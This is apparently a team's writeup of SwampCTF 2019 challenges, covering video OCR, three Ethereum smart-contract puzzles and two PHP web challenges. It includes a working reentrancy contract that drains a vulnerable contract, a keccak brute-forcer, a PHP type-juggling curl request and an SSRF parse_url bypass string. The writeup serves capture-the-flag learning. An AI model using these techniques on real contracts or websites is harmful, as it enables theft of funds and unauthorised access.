SwampCTF 2019

These are our writeups for the challenges presented in this year's SwampCTF.

Categories index
Misc - Smart - Web

Misc

Welcome!

Welcome to SwampCTF! The first round is on us šŸ»

As the challenge info says, these are just free points!

šŸ flag{w3lc0m3_t0_th3_SwAmP}

Ghidra Release

[Meanwhile at the NSA on a Friday afternoon]
Manager: Hey, weā€™re going to be releasing our internal video training for Ghidra and we need you to watch it all to flag any content that needs to be redacted before release.
Manager: The release is next Monday. Hope you didnā€™t have any weekend plans!
You: Uhhh, sure bu-
Manager: Great! Thanks. Make sure nothing gets out.
You: ā€¦ [looks at clock. It reads 3:45PM]
You: [Mutters to self] No way am I watching all of this: https://static.swampctf.com/ghidra_nsa_training.mp4

The linked video presents you with 15h30m of rolling text, most likely a video version of Ghidraā€™s documentation:

Ghidra release

We know that our flag is somewhere in there and, since watching the entire video is not an option, the best course of action could be to slice the video into single frames and analyze them with an OCR engine. The flagā€™s format is known - flag{[a-zA-Z0-9_-]{12,40}} - so grepping for it will be easy.

The first step is to extract the videoā€™s frames: parsing them all would need too much time and resources, so a sample needs to be taken every nth one. Doing so with ffmpeg is trivial:

$ ffmpeg -i "ghidra_release.mp4" -vf fps=1/5 ./frames/frame_%05d.jpg

The fps= parameter controls the sampling frequency: 1 means a frame every second, 1/60 one every minute, 1/600 one every ten minutes and so on. If the flag isnā€™t found at the end of the process, decreasing this value can be helpful.

Next on: feeding the frames through the Tesseract OCR engine, waiting for the process to finish, and then grepping through the output - keeping in mind that the flag could be segmented between two files and that shell globbing usually sorts matching files alphabetically:

$ for f in ./frames/frame_*.jpg; do echo "*** Processing $f"; tesseract "$f" "./ocr/${$(basename $f)%.jpg}.txt"; done
$ cat ./ocr/frame_*.txt | grep -E 'FLAG\(.*\): \S*'

šŸ flag{l34kfr33_n4tion4l_s3cur1ty}


Smart

The following challenges were based on Ethereum smart contracts.

Multi-Owner Contract

My friend wanted to create a new type of ownable contract where multiple people can be owners. However, when he deployed it for his token sale, someone managed to add themself and many other owners and they minted tons of their own tokens! Luckily the sale hasnā€™t started yet, help him find the bug so he can deploy a new contract and save his ICO.

pragma solidity ^0.4.24;

contract Ownable {

    event OwnerAdded(address);
    event OwnerRemoved(address);

    address public implementation;
    mapping (address => bool) public owners;

    modifier onlyOwner() {
        require(owners[msg.sender], "Must be an owner to call this function");
        _;
    }

    /** Only called when contract is instantiated
     */
    function contructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");
        owners[msg.sender] = true;
    }

    /** Add an owner to the owners list
     *  Only allow owners to add other owners
     */
    function addOwner(address _owner) public onlyOwner {
        owners[_owner] = true;
        emit OwnerAdded(_owner);
    }

    /** Remove another owner
     *  Only allow owners to remove other owners
     */
    function removeOwner(address _owner) public onlyOwner {
        owners[_owner] = false;
        emit OwnerRemoved(_owner);
    }

    /** Remove all owners mapping and relinquish control of contract
     */
    function renounceOwnership() public {
        assembly {
            sstore(owners_offset, 0x0)
        }
    }

    /** CTF helper function
     *  Used to clean up contract and return funds
     */
    function killContract() public onlyOwner {
        selfdestruct(msg.sender);
    }

    /** CTF helper function
     *  Used to check if challenge is complete
     */
    function isComplete() public view returns(bool) {
        return owners[msg.sender];
    }

}

This first ETH challenge was quite easy even for somebody who never worked with Smart Contracts before, it just needed some fine grained research (and setting up the development environment, which wasnā€™t so straightforward as well for a novice).

The vulnerability lied in a malformed constructor:

/* Only called when contract is instantiated */
function contructor() public payable {
    require(msg.value == 0.5 ether, "Must send 0.5 Ether");
    owners[msg.sender] = true;
}

Having been prepended with the function keyword, this was no more a constructor but instead a publicly callable function; as such, it could be exploited to gain Owner status by just sending 0.5 ETH its way.

šŸ flag{3v3ryb0dy5_hum4n_r34d_c10s31y}

Hash Slinging Slasher

Try to guess the random number I chose. Iā€™ve hashed the value before storing it in the contract so you canā€™t cheat! Youā€™ll never figure this one out :)

pragma solidity ^0.4.24;

contract HashSlingingSlasher {

    bytes32 answer = 0xed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1;

    constructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");
    }

    /** Guess the hashed number. Refunds ether if guessed correctly
     */
    function guess(uint16 number) public payable {
        require(msg.value == 0.25 ether, "Must send 0.25 Ether");
        if(keccak256(abi.encodePacked(number)) == answer) {
            msg.sender.transfer(address(this).balance);
        }
    }

    /** Returns balance of this contract
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    /** CTF helper function
     *  Used to check if challenge is complete
     */
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

}

The guess function takes a number, encodes it via abi.encodePacked and then hashes it via keccak256 (Ethereumā€™s hashing algorithm, a SHA-3 variant that predates its final and official release).

Since guess takes its input as an uint16, the keyspace for a bruteforce attack would be composed of single integers in the range {0..65535}. No fuss with any modern processor! The encoding function can be replicated as well: it is equivalent byte-casting.

Due to this additional encoding needed before hashing, using cracking tools like Hashcat became too cumbersome and instead we rolled our own bruteforcer:

#!/usr/bin/env python3

import sha3  # pip install pysha3
import struct
import sys


def hash(packed):
    """
    Compute the Keccak256 has of a string/byte/packed object.
    """
    k = sha3.keccak_256()
    k.update(packed)
    return k.hexdigest()


def iterate(endianness, min_n, max_n, target):
    """
    Iterate from min_n to max_n, pack the number with the given endianness,
    hash it and compare it with the target.
    """
    for i in range (min_n, max_n+1):
        print("*** Trying {} ({} endian)...".format(i, endianness), end='\r')
        packing_fmt = '<H' if endianness == 'little' else '>H'
        packed = struct.pack(packing_fmt, i)
        hexdigest = hash(packed)
        if hexdigest == target:
            print("\n>>> FOUND! {} <<<".format(i))
            print("\tTarget: {}".format(target))
            print("\tHashed: {}".format(hexdigest))
            print("\tPacked: {}\n".format(packed))
            return
    print("*** No matching hash found.")


def main():
    if (len(sys.argv) < 4):
        print("Usage: ./crack_keccak.py {TARGET_HASH} {MIN_N} {MAX_N}\n")
        quit(1)

    target = sys.argv[1]
    min_n = int(sys.argv[2])
    max_n = int(sys.argv[3])
    print("*** Targeting hash: {} with keyspace {}-{}\n".format(target, min_n, max_n))

    iterate('little', min_n, max_n, target)
    iterate('big', min_n, max_n, target)


if __name__ == '__main__':
    main()
$ ./crack_keccak.py ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1 0 65535
*** Targeting hash: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1 with keyspace 0-65535

*** Trying 6452 (little endian)...
>>> FOUND! 6452 <<<
	Target: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
	Hashed: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
	Packed: b'4\x19'

*** Trying 13337 (big endian)...
>>> FOUND! 13337 <<<
	Target: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
	Hashed: ed2a0ca74e236c332625ad7f4db75b63d2a2ee7e3fe52c2c93c8dbc4e06906d1
	Packed: b'4\x19'

At first endianness wasnā€™t accounted for in this solution and numbers were only packed as little endian, but since 6452 didnā€™t get us the flag the second endianness check was implemented and indeed the right number to feed to guess turned out to be 13337.

šŸ flag{0n_th3_b10ckch41n_3v3ryth1ng_15_pub1ic}

Refundable Purchase

Iā€™ve created a contract to make buying items online safer! (for the buyer at least)
The funds stay in escrow in the contract until the buyer has received the item, in which they report theyā€™ve received it (people are always honest, right!?).
If they never receive the item, they can call refund to return their spent ether.
Find a way to drain this contract of all pending refunds.

pragma solidity ^0.4.24;

contract RefundablePurchase {

    event Refund(address, uint256);
    event PurchaseCompleted(address, uint256);

    address owner;

    mapping (address => uint256) public refunds;

    constructor() public payable {
        require(msg.value == 0.5 ether, "Must send 0.5 Ether");
    }

    /** Fallback function, called when contract receives Ether without data
     */
    function () external payable {
        require(refunds[msg.sender] + msg.value > refunds[msg.sender]); // Overflow guard
        refunds[msg.sender] += msg.value;
    }

    /** Refunds sent Ether
     */
    function refund() public {
        require(refunds[msg.sender] > 0);
        uint256 amount = refunds[msg.sender];
        msg.sender.call.value(amount)("");
        refunds[msg.sender] = 0;
        emit Refund(msg.sender, amount);
    }

    /** Call this function once you've received your purchased item
     */
    function completePurchase() public {
        require(refunds[msg.sender] > 0);
        uint256 amount = refunds[msg.sender];
        refunds[msg.sender] = 0;
        emit PurchaseCompleted(msg.sender, amount);
    }

    /** Returns balance of this contract
     */
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    /** CTF helper function
     *  Used to check if challenge is complete
     */
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

}

As the isComplete() function says, we must somehow completely drain the initial balance with which the contract is deployed.

Analysing the contract we see that any balance received is processed in the fallback function and then added to our refund amount variable, which is mapped to our address (msg.sender). Afterward we can either confirm the balance sent (completePurchase()) or get it back (refund()).

Examining the refund() function in particular we see thereā€™s a vulnerability we can exploit.

/** Refunds sent Ether
*/
function refund() public {
    require(refunds[msg.sender] > 0);
    uint256 amount = refunds[msg.sender];
    msg.sender.call.value(amount)("");
    refunds[msg.sender] = 0;
    emit Refund(msg.sender, amount);
}

Thereā€™s a combination of msg.sender.call.value(amount)(""); that does not take into account the gas limitation, and the reset of refunds that occurs only after the transaction has been processed. In this situation we can make a so-called Reentrancy Attack.

Letā€™s create another smart contract that interacts with the deployed RefundablePurchase one (hereinafter referred to as ā€˜main contractā€™). Weā€™ll need to write a function that receives balance, sends it to the main contract and then claim it back calling refund(). To complete the exploit, only remains to create a fallback function that once again calls the refund() method.

The fallback function is going to be triggered when in the main contract the balance is sent back through msg.sender.call.value(amount)("");. This is where the reentrancy attack occurs because thereā€™s a loop that repeats until the balance is drained. One implementation could be as follows:

pragma solidity ^0.4.24;

import "./RefundablePurchase.sol";

contract DrainRefundable {
  RefundablePurchase public atAddress;

  constructor (address deploymentAddress) public {
    atAddress = RefundablePurchase(deploymentAddress);
  }

  function () public payable {
    if (address(atAddress).balance >= msg.value) {
      atAddress.refund();
    }
  }

  function drain() public payable {
    address(atAddress).call.value(msg.value)();
    atAddress.refund();
  }
}

After calling the drain() function of the deployed ā€˜DrainRefundableā€™ smart contract with 0.5 ETH, a quick check at the function getBalance() returns 0, therefore calling isComplete() returns true.

šŸ flag{c411_15_n0t_s4f3_w1th_n0_g45_1imit}


Web

DataVault

Andrew, a data courier and PHP diehard, has secret data that he canā€™t have falling into the ZaibatsuCorpā€™s hands.
Fortunately, weā€™ve established an online datalink with his wetware.

Weā€™ve exposed the moduleā€™s access interface here: chal1.swampctf.com:1233

Can you bypass his CraniumStorage security module before he wakes up?

DataVault index

Looking at source and cookies wasnā€™t helpful. Itā€™s only a bare page with an input box. Trying common SQL injections also gave no result.

Since our input is compared using PHP (as the ctf introduction suggested) a Type Juggling Bug may have been made. This was actually the case since making a POST request and changing ā€˜password=ā€™ parameter to an array ā€˜password[]=ā€™, resulted in the site giving as the flag.

curl http://chal1.swampctf.com:1233/ -d "password[]=" | grep -Eo "flag{.*}"

šŸ flag{wHy_d03S-php_d0-T41S}

Brokerboard

Itā€™s the year 1997 and the Internet is just heating up! :fire:

In order to get ahead of the curve, SIT IndustriesĀ® has introduced itā€™s first Internet product: The Link Saverā„¢. SIT IndustriesĀ® has been very secretive about this product - even going so far to hire Kernel SandersĀ® to test the security!

However, The Kernel discovered that The Link Saver had a little bit of an SSRF problem that allowed any user to fetch the code for The Link Saverā„¢ from https://localhost/key and host it themselves :grimacing:. Fortunately, with a lilā€™ parse_url magic, SIT IndustriesĀ® PHP wizards have patched this finding from Kernel SandersĀ® and are keeping the code behind this wonderful site secure!
ā€¦ or have they? :wink:

chal1.swampctf.com:1244

The given URL replied with a pretty standard form, the source wasnā€™t giving out any interesting hints:

Brokerboard init

Feeding in URLs worked as expected:

Brokerboard expected

Since the backstory of the challenge pointed to PHPā€™s parse_url function, it was enough to find an interesting known vulnerability that enabled users to feed malformed data to it: the string https://born2scan.github.io:80#@localhost/key would be splitted on the hash and the second part would be evaluated without checks.

Brokerboard malformed

šŸ flag{y0u_cANn0t_TRU5t_php}